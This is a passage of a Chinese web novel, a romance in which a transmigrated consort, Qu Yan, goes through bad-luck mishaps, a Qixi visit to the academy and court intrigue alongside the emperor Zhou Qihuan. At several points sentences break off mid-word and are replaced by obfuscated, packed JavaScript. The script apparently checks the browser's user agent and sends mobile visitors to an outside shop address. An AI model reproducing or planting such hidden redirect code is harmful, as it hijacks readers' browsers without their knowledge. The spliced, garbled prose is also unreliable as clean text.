曲延扑到帝王怀里,紧接着听到一声巨大的坍塌声,回头一看,屹立十几年的湖心凉亭竟然倒了。 “…………” 此情此景,堪称见鬼。 系统:【查到了,这是周拾的金手指,倒霉云。飘到特定之人头顶,会让那人倒霉一整天。】 曲延怒火中烧:“我就知道!” 工部与翰林院随着吉福着急忙慌赶来,看到倒塌的凉亭与面如寒霜的帝王,吓得扑通跪了一片——陛下生气到一剑把亭子砍塌了吗?? 看看挂在陛下身上的灵君,都要气晕了! 工部尚书冷汗涟涟:“吾皇万岁,灵君万福。” 翰林院大学士低着脑袋使劲瞅那掉在木桥上的牌匾,“陛下,臣冤枉!”说着朝旁边的书法伎术官使眼色。 书法伎术官颤着跪爬上前,从怀里掏出亲笔写的字:“陛下,这是臣按照灵君吩咐,亲笔题的字。” 吉福接过宫廷御用的金花笺,呈到帝王面前。 泛着云母金光的纸面用黑墨题着三个秀丽的篆体字:绝情亭。 大周朝并不普及篆体,以行书为主,小篆乃是历代皇帝个人喜好。翰林院将此发扬光大,科考中如果有学子以娟秀的小篆答题,会拿到不少印象分。 周启桓只是过了一眼,看向工部。 工部有屯田、虞部、水部三司,负责此次镌刻牌匾隶属虞部,领头为工部侍郎。工部尚书瞪着工部侍郎,“还不从实招来?” 工部侍郎颤抖道:“陛下,臣让部下刻的确实是‘绝情亭’三字,不知为何会变成……” 不管怎样,牌匾的字变了是事实。 工部侍郎认命道:“臣甘愿受罚。” 宦海沉浮,如空中走钢丝,爬到如今的地位已是不易。工部侍郎流下一滴老泪,今日便是他仕途的终点了吗?因为一块牌匾,呜呼哀哉! 周启桓垂眸望着怀里的青年,“曲君以为如何?” 昆山玉碎般的嗓音自头顶落下来,曲延耳膜一酥,惊觉自己还和周启桓维持着一个暧昧的姿势,连忙站直摆好手脚,“我觉得……算了吧。” 这锅是龙傲天的,不能让旁人背。 周启桓:“既然灵君为尔等求情,着令工部与翰林院重修湖心亭,将功补过即可。” 工部与翰林院齐齐磕头谢恩,只有工部侍郎还愣着,被工部尚书一瞪反应过来,脑袋砰的一声嗑在木桥上,感激涕零:“谢陛下恩典,灵君宽恕!” 至此曲延在工部与翰林院留下宽仁的名声,倒是意外之喜。 至于那坨倒霉云,曲延走哪儿跟哪儿。 曲延踩过木桥,木桥破了一个大洞,差点掉进水里,被周启桓捞到怀里; 曲延想要采花,一只大黄蜂嗡嗡飞来,追着他屁股跑,吱哇乱叫之时,大黄蜂被周启桓一剑劈成两截; 曲延渴了想喝口水,杯子刚端手里,杯底掉了,茶水撒了一脚,只能像只小猫一样,低头喝周启桓手里的茶水; 曲延帝王同乘轿辇回夜合殿,就在他以为安全了时,周启桓刚下去,轿辇啪的一声断裂,曲延当场摔了一个四脚朝天。 周启桓:“……” 宫人们:“……” 吉福尖叫:“灵君!!” 曲延朝天竖了两根中指,“龙傲天,我与你不共戴天!” 夜合殿前,谢秋意携宫女迎接帝王回宫,“恭迎陛下、灵君。” 曲延捂着屁股一瘸一拐,“起来吧。” 谢秋意抬眼,“???” 饶是这位见惯了大世面的女官也没想到,帝妃消失的这小半日,居然是去“白日宣淫”?灵君连路都走不稳了。 趴在寝宫柔软的榻上,宫人抬来冰鉴,摆好冰镇荔枝、西瓜、樱桃,曲延活过来了。他拍了拍结实的美人榻,“可千万别塌了啊。” 话音刚落,就听到木头的咯吱声。 曲延气愤地冲出夜合殿,指着那团阴魂不散的倒霉云,“有完没完?” 一道悠扬的哨声划破黄昏。 曲延扭脸看到帝王站在身旁,修长如玉的手拈着一只竹青的哨子,抵在淡色的薄唇边,冷翠色的眸子倒映着夕辉。 绚烂的云层间,尖锐而清亮的鹰嗥遥遥呼应,紧接着如同一阵疾风,展翅足有两米的猛禽俯冲而来! 曲延睁大眼睛,只见那猛禽毛发如暗金,翅下黑亮,身披霞光,双目凶猛,英姿飒爽地盘旋在殿宇上方,旋即冲进那团倒霉云。 巨大的翅膀飓风般扇合,三下五除二,便将云团搅得灰飞烟灭。 “哇……” 周启桓抬起左手,小臂已然绑上皮革护臂。 金雕闻哨而落,扇着翅膀落在护臂上,显然经过无数次这样的训练。 猛禽扇动的热风扑了曲延一脸,他很兴奋:“好大一只雕!” 足有十斤的金雕稳稳地停在帝王的手臂上,昂首挺胸,不时转动脑袋观察周围,发出鸡一样的叫声。 曲延以为自己听错了,“陛下,这是你养的吗?” “嗯。”周启桓手臂落下几分,金雕跳到地上,宛如走地鸡般边走边鸡叫。 曲延:“…………一定是我观赏猛禽的方式不对,它不可能像鸡。” 金雕听懂人话似的,凶猛地向曲延鸡叫。 刚才还被金雕帅到的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16647433|188212||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 曲延无语凝噎。 周启桓:“它还是飞起来好看。” 曲延点头如捣蒜。 然后金雕帅气登场一回,谢秋意出来喂它几只拔了毛的鸡,再赏一只羊,就被赶走了。这样的场景肯定时不时会上演一回,谢秋意才会喂得这么熟稔。 没了倒霉云,曲延不用担心再走霉运,心情愉悦多吃了半碗饭。 据吉福说,他们的皇帝陛下从四五岁就学习驯鹰,据说是母族那边的习俗。这么些年下来,周启桓驯过的鹰也有几十只。 鹰终归属于大自然,有繁殖期,基本上一年一驯,驯完了放还自然。过了繁殖期,有个别的鹰会自己寻来。比如那只金雕,就是不时来吃回头肉的,顺带给自己的几窝小雕带点。 “除了驯鹰,陛下在百兽园养了一窝老虎,可凶了,只有陛下过去才会老实。”吉福难掩骄傲,“陛下真龙天子,自然能降伏那些猛禽野兽。” 曲延听得一愣一愣的,“没想到陛下还有这样的一面。”他还以为周启桓的眼里只有政务、政务、政务,没什么兴趣爱好。 “除了这些,陛下还喜欢什么?”曲延问。 吉福奸滑一笑:“帝王心思,岂是旁人能猜的。灵君,这需要您自个儿发现,才会让陛下真高兴。” 曲延掏出一把五香瓜子贿赂,“吉福总管,告诉我吧。” 吉福收下瓜子,“那老奴就提示一句,陛下喜欢看烟花。若是能与知心人一起看,那更好不过。这马上就七夕了。” 曲延认真点头,“我懂了,七夕之前,我一定给陛下找一个知心人。” 吉福:“……” 曲延将此任务命名为,知心人大作战。 吉福望着曲延雄赳赳的背影,猛地回过神来,“哎呀,我这不是好心办了坏事吧?” 皇帝的知心人,当然要在后宫找。 曲延第一个想到徐乐焉,当即把她传召过来,开口就是:“徐美人,如果你能让你家与周拾退婚,我就帮你撮合你与陛下。” 徐乐焉:“啥??” 曲延细细说了一遍,认为这样的条件十分优渥。 徐乐焉却一脸便秘的表情,“灵君,恕我直言,我对断袖不感兴趣。” “啊?” “陛下与灵君耳鬓厮磨、比翼双飞、恩爱缠绵那是有目共睹。” “……”曲延脸热,“胡说!” 徐乐焉:“陛下枉顾宫规与朝臣进言,迟迟不给你分宫,也要将你留在这帝王寝宫,夜夜宠幸,还不够吗?” 曲延变成一朵火烧云,“什么宠幸……难道你们没有睡过夜合殿?” “没有。”徐乐焉语出惊人,“据我所知,陛下从不留宿后宫,也不会召幸妃嫔,灵君是第一个与帝王大婚有这种待遇的。我看帝后大婚也莫过于此。” “……”曲延能说什么,说他和周启桓什么都没有?谁信? 到了此时,曲延恍然发现,周启桓待他当真和别人不同。处处淡如水,处处深如情。 如果他都不懂,周启桓又怎么会有知心人。 他和周启桓之间不是什么都没有,而是习以为常却只道是寻常。 徐乐焉走后,曲延坐在窗边思考人生。 曲延:“我感觉我的脑子要长出来了。” 系统:【豆腐脑吧。】 曲延:“……” 10. 度七夕 七夕在大周朝算是一个重要节日,也叫乞巧节,从前十日开始准备,用绿豆或豌豆泡水生苗,七夕当天早上用来观赏以及做腌菜。 民间的习俗传到宫中,曲延一早起来就看见夜合殿内摆了好几盆豆苗。宫人从池塘采了荷花做双头莲插在宽口花瓶中,托在圆圆的荷叶上,犹带晶莹露珠。 宫女们在这日也能自由装扮些,发髻簪花,系红丝带,戴上珍珠流苏珠花,各类不一。 往日森严的帝王寝宫,多了别样光彩。曲延觉得可爱,不吝啬地夸赞每个人:“你们今天真漂亮。” 好几个姑娘俏脸微红,含羞带怯。 谢秋意:“……灵君,请自重。” 帝王一如既往早起上朝,午间归来,和曲延一起享用了豆苗腌菜,豆苗菜汤,豆苗炒肉。 阳光正好,宫人们将书籍与衣物搬出来,在中庭铺了竹席,放在上面暴晒防止虫蛀。 这日官府会举办书会,展览御书、图画、明贤墨迹。太学院也会面向朝堂内外进行“聚贤”,开放藏书,追忆先贤,讲学布道。 所有学子、大臣、宫人皆可参与。 曲延记得谢秋意的心仪对象是太学院典薄,春知许。不知是个怎样的人物,能让这位高贵的掌灯女官思慕多年。 曲延这便去撺掇日理万机的周启桓:“陛下,我们去太学院好不好?” 周启桓手边的奏疏看了大半,闻言问:“曲君对太学院感兴趣?” 曲延小鸡啄米点头,“还没去过呢。” 说来惭愧,穿来这些天,曲延对皇宫地图的开发还不到十分之一。天气炎热是主要原因。 周启桓放下朱笔,“嗯。” 吉福连忙吩咐人备下仪仗,移驾太学院。 光是准备时间,就有两个小时。 曲延:“……皇帝出行,这么麻烦吗?” 系统:【你知道太学院在哪儿吗?】 “在宫里啊。” 【……在皇城外城,与皇宫遥遥相望,坐马车最快也要半小时。】 曲延傻眼,“那么远??” 怪不得宫中设了一个向学殿供皇子读书,这要去太学院,每天路上的时间就要花费不少。 帝王出宫,不是一件简单的事。 诏书层层下达,皇城司集体出动,禁军调动,亲卫与暗卫迅速布防,三军大动干戈。皇城的主干道上肃清闲杂人等,禁军提前摸排是否存在隐患,一切进行得有如疾风,转眼间京城轻快的七夕氛围就被肃穆笼罩。 曲延专门点了谢秋意随行,谢秋意叹息,看上去颇为忧愁。 曲延不理解,问系统:“她怎么了?马上要去见喜欢的人不开心?” 系统:【女人心,海底针。】 看来断情绝爱的系统也不懂。 【触发支线任务:打断欧阳策的腿。】 【任务介绍:周拾从大理寺出来,欧阳策亲自迎接,难兄难弟抱头痛哭,并一起将你大骂一顿。】 曲延:“……” 曲延:“这任务介绍真的对吗?话说龙傲天怎么放出来了?!” 【早朝时英王痛哭流涕,在金乌殿内打滚哀嚎,以死相逼。朝臣们纷纷求情,就给放出来了。】 曲延不无愤愤,却也知道这个世界偏爱龙傲天,迟早会放出来。即便身为皇帝的周启桓,也要权衡利弊,恩威并济。 系统继续:【周拾与欧阳策共度七夕,一起花灯夜游,欧阳策意外救下一名落水女子,乃是上京玩耍的岭北郡主,其父乃是岭北将军,掌管三万兵马。】 曲延:“欧阳策救了人家,干嘛还要打断他的腿?” 【因为岭北郡主看上的是龙傲天。】 曲延:“……欧阳策别名冤大头吧。”救下的姑娘不喜欢自己就罢了,还要再次被打断腿。 所以这次要怎么隔空打断欧阳策的腿? 想不出来,晚点再想。 帝王的仪仗要出宫了。 曲延被谢秋意一通穿衣打扮,再次换上正红的朝服,腰配白玉禁步,头戴宝石金冠,布灵布灵出现在周启桓面前。 周启桓打量一眼,携起曲延的手,坐上金碧辉煌的帝王御驾。 马车碌碌驶过清凉巷,青石地面略为颠簸,曲延轻轻摇晃,头上金冠沉重欲坠。他难受地扶住头冠,“陛下……这个必须戴吗?” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16647434|188212||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >周启桓一身常服,倒是轻装,他望着青年局促的模样,抬手为他取下金冠。 曲延顿觉脑袋轻了不少,呼出一口气,挪了挪屁股,离周启桓近了一点。不然他和周启桓中间的那三十公分像一道天堑,隔着礼仪与规矩。 曲延闻到帝王身上清淡的冷香,混着马车内合欢熏香,形成一种令他安心的气息。他好奇地仰脸望着头顶的遮阳华盖,花朵似的,中间缀着一枚玉铃铛,不时发出轻响。 看着看着,他不禁伸手挠了一下铃铛,叮咚好生清脆。 曲延笑起来,唇红齿白眼睛雪亮。 周启桓看着他自顾玩耍,嗓音轻缓:“那是逗猫的。” 曲延:“真的吗?你还养猫?” “嗯。” “我知道了,是大猫——老虎对吧?” 周启桓不置可否。 “那今天可便宜我了。”曲延伸手又挠了一下铃铛,薄如红云的广袖堆在雪白手肘,皓腕蜿蜒青紫筋脉。 “我总觉得……”曲延沉思,“好像坐过陛下御驾。” 周启桓淡声道:“大婚那夜,我们曾一起从天玑台坐此车驾回夜合殿。” 曲延愣住,他没有小傻子的记忆,但为何时不时会有这样熟悉的感觉? 出了永定门,路面平整多了,曲延转了别的话题。 周启桓偶有回应,语气淡若流水,却潺潺涓涓的,曲延觉得好听极了。 “陛下唱歌的话,一定很好听。”曲延说。 周启桓道:“曲君的歌声更动听。” 曲延:“?你又没听过我唱歌。” 周启桓:“听过你打呼噜。” 曲延:“……”他这是又被捉弄了吗? 发现了新天地般,曲延一眨不眨地望着近在咫尺的帝王侧颜,峻拔如峰,本是锋利深邃的轮廓,却被那双冷绿色的眼睛冲淡了冷硬感,如翡翠湖泊,看久了,不自觉地沉溺其中。 帝王侧过眸子,薄唇微启:“好看吗?” 曲延脱口而出:“好看。” 帝王凤目低垂,看的是青年那张润泽的有小小唇珠的嘴巴。 看上去柔软,甘美,好亲。 11. 救男二 帝王御驾随季节更替装备,炎炎夏日,华盖四周垂挂的便是竹帘、绢纱,以便清风徐来,驱逐闷热。 风自竹帘缝隙拂入,曲延却分不清究竟是风动,还是心动。 心脏鼓噪,脸颊升温,曲延慌乱移开视线,不敢再看帝王那双冷翠的眼睛。 周启桓喉结微动,“曲君为何不敢看朕?” 曲延有点反骨在身上,闻言扭过脸使劲盯着一脸平静的帝王。圆圆的杏仁眼黑白分明,颊边透着淡粉,鬓角微微被细汗沾湿,像极了张牙舞爪的猫。 曲延说:“陛下我给你讲个故事,很久以前有个美男,上街总是被围观,终于有一天,他被看死了。” 周启桓眸光低垂,掠过青年的唇,“是吗。” “陛下,我刚才讲了一个什么样的故事?” 帝王不答。 曲延与之四目相对,眨巴眼睛。 帝王若无其事地问:“曲君吃酥山吗?” “酥山是什么山?好吃吗?”曲延立马被转移注意力。 御驾内有矮案,案上白玉盘内摆放瓜果点心,装了牛奶的银壶,以及装着冰沙的琉璃盏。 周启桓慢条斯理舀了一碗冰沙,铺上水果,淋上牛奶给曲延。 曲延两眼放光,这不就是古代版的冰淇淋? “好吃吗?” “好吃。”曲延笑弯了眼睛,果然夏天就要吃冰的才对味。 出了宫,盛京主大街一片岑寂,除却马蹄哒哒,蝉鸣阵阵,训练有素的护卫脚步声,以及兵器与衣物的摩擦声,几乎听不到杂响。 曲延好奇地掀开竹帘往外看去,夹道上半个闲杂人影都没有。 周启桓道:“到晚间,此处就会热闹起来。” 曲延扭过脸问:“我们能看到吗?” 达官显贵出行,庶民尚且避让,帝王出行更是鸟飞过都要检查一番。 周启桓沉吟须臾,道:“可以。” 曲延顿时忘了所有烦恼,对系统说:“真希望每天都是七夕,每天与民同乐。” 系统:【我看是与天子同乐。】 “……” 曲延的小心思被戳破,“劳逸结合才能活得长久,我这是为将来打算。” 【你还是想想怎么打断欧阳策的腿吧。】 曲延懒得想,任务积分只有100,攒到猴年马月才能开一个存档,买个系统商场的金手指——他合理怀疑这扫黄系统本质是可恶的资本家,卷死牛马宿主。 “你爸的!”曲延忽然灵光一闪,“如果我等龙傲天和那岭北郡主相识,我再去棒打鸳鸯,是不是就有500积分?” 系统:【……是的。】 曲延要被自己聪明晕了:“天呀,我真是个天才!” 只要卡bug,就有卡不完的bug。比起100积分,当然是500积分更划算。 曲延摩拳擦掌,决定暂时先放任不管,欧阳策大冤种的腿也不用断了。 至太学院,众人匍匐在地,迎接圣驾。 部分仪仗停在外面,周启桓携起曲延的手,走入院内。 曲延只见乌泱泱的人头,错落的身份小卡,来不及看清,就被引入太学院参观。 太学院祭酒是个胡子花白的老人,将近八十,只有他被免去跪拜,能近距离随侍帝王身侧。 周启桓对祭酒很是尊敬,称为老师。 曲延跟着乖乖地叫老师。 祭酒和蔼地笑着:“灵君字少灵,可知是怎么来的?” 曲延摇头。 “灵君出生时,护国府上方天有异象,祥云如锦,紫气东来。那年正值西北干旱,忽而天降甘霖,滋养万物。先帝大喜,直呼此子灵也,赏赐无数。” “然,灵君长大三岁时,有个方士路过护国府,看了你一眼,唉声叹气,说此子魂魄不全,恐天生痴傻。” 所以少灵的少其实不是念第四声,而是第二声? 少灵,少灵,少了灵魂。 曲延怔住了。 祭酒笑道:“如今看来,那方士之话也不可信,灵君出尘脱俗,丰姿英秀,想来已大好。” 曲延腼腆笑笑:“老师谬赞。” 在太学院逛了一圈,曲延走马观花看了个囫囵,每到一处,都有走不完的礼仪,大大降低了曲延的期待感。 ……这和领导视察有什么区别? 看那些或战战兢兢,或大气不敢出的学子们,有的还是富家子弟见过大世面的,看到皇帝居然这么害怕。 曲延:“我们的皇帝陛下是多么平易近人,一点也不可怕。” 系统:【昧着良心说话不痛吗?】 曲延瞅一眼身边的冰山,“这么热的天,就该待在周启桓身边,凉快。” 参观累了,在书库前阴凉处暂歇。闲人退散,只留几个说话伺候的人。 这回,曲延总算见到太学院主薄,春知许。 然后他发现这位主薄其实一直跟在后面……参观途中曲延三次和人家对上视线,愣是没说一句话。 曲延:“……” 那是一个穿着砖红朝服、腰束革带的青年,年纪看着不大,约摸二十多。这么年轻当上太学院主薄,自是才 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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系统:【你为什么不笑了,是天生不爱笑吗?】 曲延冷酷脸:“是因为看到了屎傲天。” 周拾和欧阳策走来,上前一齐跪拜。周拾故作委屈:“侄子给皇叔请安。” 说着看了一眼春知许,没怎么在意的样子。 不知为何,春知许脸色微微僵硬。 12. 冰淇淋 曲延懒得看周拾装腔作势,接过谢秋意端来的茶水,抿了一口。 周拾和自己亲叔叔后宫妃嫔有染,还敢在这里装可怜,如果不是主角光环,早就被砍了。 周启桓不言,在周拾与欧阳策跪了整整半刻钟后,他才道:“起来吧。” 周拾在太阳地里晒得热汗滚滚,闻言赶紧爬起来走到阴凉地中,舒了一口气:“皇叔,侄儿是冤枉的。” 家丑不可外扬,龙傲天和楚美人之事并没有捅出去,是以部分大臣以为周拾只是犯了小错。而楚美人之后就没了消息,估计是打入冷宫了。 帝王冷淡的眸子投向欧阳策,“欧阳尚书近来身体抱恙,这两日可好些了?” 曲延细瞅原书里周拾的铁党欧阳策,比周拾高一点也壮一点,浓眉大眼,五官端正,但并不细致,锦衣华服在他身上也像五大三粗。看上去就是个憨憨。 欧阳策平日里吆三喝五、浪迹花丛,在当今圣明的皇帝前,倒是规矩得很:“家父身体好些了,他还说陛下天恩浩荡,对我只是小惩大诫,明日便可上朝谢恩。” 周启桓颔首。 曲延问:“欧阳尚书怎么病了?是被气的吗?” 欧阳策:“……” 事实就是如此。 周启桓一瞥心直口快的青年,道:“天色不早,该回宫了。” 曲延在太学院也逛腻了,大周朝的最高学府虽然好,但他现在的身份,完全品不出浓厚的知识气息,只看到官僚文化。 周拾显然有备而来,连忙道:“皇叔留步,听闻太学院食厨的蜜浮酥柰花乃是全京最正宗的,皇叔难得来一趟,不尝尝岂不可惜?” 周启桓道:“朕不喜甜食。” 周拾:“……” 龙傲天大感懊悔,他怎么连这个都忘了! 曲延在宫中的餐后甜点倒是吃过蜜浮酥柰花,已是绝味,听到太学院更正宗,不由得瞄一眼周启桓。 青年圆圆的杏核眼清亮温润,睫毛纤长,因着身高差,侧着脸看过来时显得脸蛋有些肉嘟嘟的,目光宛如孩童天真。 周启桓:“……偶尔尝之,未为不可。” 曲延立即应和:“好呀好呀。” 食厨就是食堂,众人往之。 里面的餐桌分布有序,中间的只有长官可坐,平日学子分坐两侧。听闻皇帝亲临,接到口召的监厨官早把桌椅擦拭了八百回,器物一律换新,厨子也挑最信得过的,就怕哪个环节出错,把皇帝吃出什么,诛九族。 帝王仪仗到时,食堂内已是焕然一新,一尘不染。 曲延坐在周启桓身边,祭酒等被恩准落座他桌,其他人包括周拾就只能站着。 等候不多时,两碗蜜浮酥柰花端了上来,谢秋意和吉福亲自接过,分别放在曲延和帝王面前。 瓷白的小碗中,由乳酪、冰、蜂蜜制成的茉莉花浮在蜜水上,看上去小巧玲珑,清凉剔透,奶香扑鼻。 曲延用勺子挖起“茉莉花”,张大嘴巴,一口送进嘴里,带着凉意的奶香弥漫开来,一股熟悉的感觉直冲天灵盖—— “这真的不是哈根达斯吗??”曲延震惊地问系统。 太学院的蜜浮酥柰花比酥山更像冰淇淋,口味也和宫中有差异。 帝王容色昳丽却威严,浅浅尝了一口,看向身旁腮帮鼓鼓宛如小松鼠的美人。 “曲君爱吃?” “唔?唔。”曲延点头。 【爱他,就给他吃哈根达斯。】 曲延刚端过周启桓没吃完的那份,就听到系统的广告语,不禁翻了一个白眼。 监厨官一副天塌的表情扑通跪下,“灵君恕罪!” 曲延:“?” 周启桓:“既然爱吃,为何翻白眼?” 曲延:“……” 曲延说:“我、我噎到了,你们别看我行吗?” 想到刚才一口一个蜜浮酥柰花,也太不精致了。 周拾嘴角抽动,忍着没发动嘲讽技能,暗暗地想,果然是傻子。他清清嗓子说:“听闻这蜜浮酥柰花乃是太学院主薄改良而来,不知哪位是春水生大人?” 春知许闻言站起来行了一个官礼:“世子殿下,下官正是。只是一样小点心罢了,幸得陛下与灵君不弃,不敢居功。” 周拾这才多看两眼春知许,有意拉拢:“大人何必过谦,这蜜浮酥柰花被你改良得如此天工巧夺,多少学子心心念念这一口,从而奋发向上,是大周之福。” “不敢。”春知许谦谦有礼,但并不看周拾。 曲延一脸嫌弃,龙傲天这是又打上春知许的主意了? 周拾直接道:“有春大人如此,侄儿钦佩,斗胆替春大人讨个赏。” 周启桓冷 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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曲延慢慢将周启桓那份冰淇淋也吃完了,满足叹息:“好吃啊。” 周启桓携起曲延的手走出食厨,“以后,你会经常吃到。” 匍匐在地的人久久不敢抬头。 周拾咬紧后槽牙,指甲抠住地板,重重握紧拳头。 春知许冷淡的眼睛瞥向周拾,有一瞬杀意毕现。 13. 拉反派 圣驾回宫。 曲延回到夜合殿换了身常服就瘫在旁斋的美人榻上,不想动弹——以前唱跳摇滚都没这么累。 此时日头西移,快要落山,溽热仍不退散。曲延恨不得抱一块冰在怀里。 周启桓如常处理公务,冰山脸竟连一丝汗也没有。 曲延羡慕不已:“陛下,你不热吗?” 周启桓:“心静。” 曲延的心静不下来,因为他饿了,肚子咕噜叫了两声。 “……不是刚吃过?” “那冰淇淋一口一个,怎么可能饱。” “冰淇淋?” “我给蜜浮酥柰花起的别名。” 周启桓不置可否,吩咐吉福取些吃食来。 不多时,吉福端了两碗砂糖冰雪冷元子。 曲延吃了一碗,周启桓吃了一口,然后又都进了曲延的肚子。 周启桓一瞥青年平坦的小腹,“吃得下?” 曲延嘴里含着冰冰凉凉的绿豆元子,嗓音带着甜腻的含糊:“当然。” 周启桓不知想到什么,目光久久凝在青年细瘦的腰肢。 “?” 周启桓若无其事地挪开视线,继续批阅剩下的奏疏。 这边吃着,那边吉福出来进去走个不停:“陛下,柳昭仪请您去汀兰殿用晚膳。” 周启桓头也不抬:“无空。” 一会儿吉福又回禀:“陛下,齐美人请您月下赏花。” “无空。” “陛下,淑妃请了京中有名的戏班子来唱戏,邀您前往明月阁看戏。” “无空。” 曲延来了兴趣:“戏班子?” 吉福:“水袖流云社,听闻里面的新来了一个角儿,唱的那是犹如天籁,比教坊司出来的还要勾魂呢。” 周启桓:“你的魂现在就被勾走了。” 吉福厚着老脸拍马屁:“陛下说笑了,老奴的魂啊魄的,那都是属于陛下的。” 曲延:“……” 周启桓丢了一板奏疏过去,正砸中吉福,“传左相与水部都水监,及殿中侍御史。” 吉福瞧着帝王脸色冷凝,忙颠着小脚去传人。 曲延问:“怎么了?” 英明神武的帝王不动声色,“南方水患,需要一个有用的去治水。曲君先去看戏,晚膳后带你出宫。” 一边是正在受苦受难的黎民百姓,一边是歌舞升平的后宫。 作为大周朝的皇帝,周启桓自然“无空”去谈情说爱、月下赴约、看一场戏。职责犹如千钧重压在肩上,唯有夙兴夜寐,靡有朝矣。 曲延忽然有些懂了,为什么周启桓会是这样冷冰冰的性子。 朝堂风云诡谲,大臣各怀心思,世家贵族利益交错,即便是中央集权大如皇帝,也要时刻警醒,制衡百家,才可保社稷不乱。 如果说原书龙傲天登上帝位后走的是无脑爽文,那周启桓就是正剧。 成帝,这个成字,是作者对周启桓最高的评价。 在这个世界里,周启桓就是千秋一帝。 曲延看向帝王宽阔挺拔的肩背,玄服加身,龙腾九天,身后却空无一人。 明明就在身边,触手可及,曲延却觉得周启桓离自己有点远。 夕辉自窗格射入,铺了一地朦胧金光,细小尘埃漂浮悬舞。 帝王抬起冷翠色的眸子,目光落在青年发呆的脸上,“怎么?” 玉碗盛来琥珀光,冰球融化,最后两颗元子漂浮着,曲延握着汤匙,搅了一下,让它们互相打转,挨在一起,“没什么,戏唱的无非牛郎织女,佳人才子,没什么好看的。哪有……” “哪有?” “哪有陛下好看。”曲延笑着一口两个元子,腮帮微鼓。 周启桓摩挲了一下光洁如玉的指尖,“曲君留下,也好。” 左相与都水监很快到来,殿中侍御史最后一个到,看上去头发有些湿,似是沐浴过。 曲延眼前刷新三人身份小卡。 【左相,三朝元老,位高权重,为政清廉,有孙女公孙淼,年方二八,为周拾后宫之一。】 【都水监,某某年文科状元,为人淳朴,良臣。】 【殿中侍御史,叶尘心,某某年文科状元,原书后期反派,与龙傲天为敌。】 曲延:“……” 原书里无论左相还是其他位高权重的官员,无不被龙傲天霸气侧漏收服,个别几个不服的就会被打上反派的标签。 这个叶尘心确实是原书可圈可点的反派形象,长了一张斯文俊秀的面孔,手无缚鸡之力却能收服反兵五万,与龙傲天几次交锋,有一次差点送龙傲天归天。 看到这里的时候,曲延还有点爽。 而反派的下场是凄惨的,叶尘心最终因为一名奸细的背叛被俘,周拾将其判了凌迟之刑,一刀一刀凌虐致死。 那天在金乌殿遥遥见过叶尘心一面,曲延却记得这人。以至于看到叶尘心结局时,心里很不舒服。 “陛下万岁,灵君万福。”臣子们跪拜行礼。 “平身。”周启桓道。 【触发主线任务:切断周拾与左相的联系,制止周拾搭讪公孙淼。】 【任务奖励:1000积分。】 【具体内容将在事件时间接近时提醒宿主。】 【触发支线任务:敌人的敌人就是朋友,拉拢原书反派叶尘心。】 【任务奖励:500积分。】 曲延:“系统你肿么了?不要当无情的系统啊。” 系统:【我嘴毒的时候你又不高兴了。】 “透露点信息给我,叶尘心有什么爱好?” 【书里写了。】 “忘了,不想翻。” 【叶尘心喜欢男人,你要献出自己吗?】 “……”曲延面无表情,“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16647437|188212||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 果然不该期待你靠谱一回。区区五百万字,我自己翻书!” 众人就南方水患展开讨论,曲延忙着两手在空中戳戳点点,像在指挥乐团。 “……曲君。” 曲延双手停在空气中,“啊?” “做甚?” “没做什么啊。” 叶尘心观察了好一阵,淡然笑道:“灵君可是想弹琵琶?” 曲延犹疑地点头,古代没有贝斯,琵琶也行。 “臣新得了一把凤尾紫檀琵琶,有螺钿镶嵌,可献于灵君。” 曲延眨巴眼睛,关闭系统半透明电子书屏幕,叶尘心这是在讨好他? “对哦,我现在可是周启桓的宠妃。”曲延恍然大悟,想讨好他的人肯定排到了十里地之外。 系统:【真是走了狗屎运呢。】 曲延:“你还是把嘴闭上吧。” 系统闭麦了。 曲延对着叶尘心点头,“多谢叶……叶殿史。” 官职名太长,记不住。 叶尘心并不计较,反而笑笑:“臣明日遣人送于灵君。” 语罢撩起衣摆跪下道:“陛下,水患猛如虎,宜早疏浚河流加固堤防,安抚流民恢复生产。百姓乃社稷之本,臣愿前往涫、洵两城,为治水尽一份绵薄之力。” 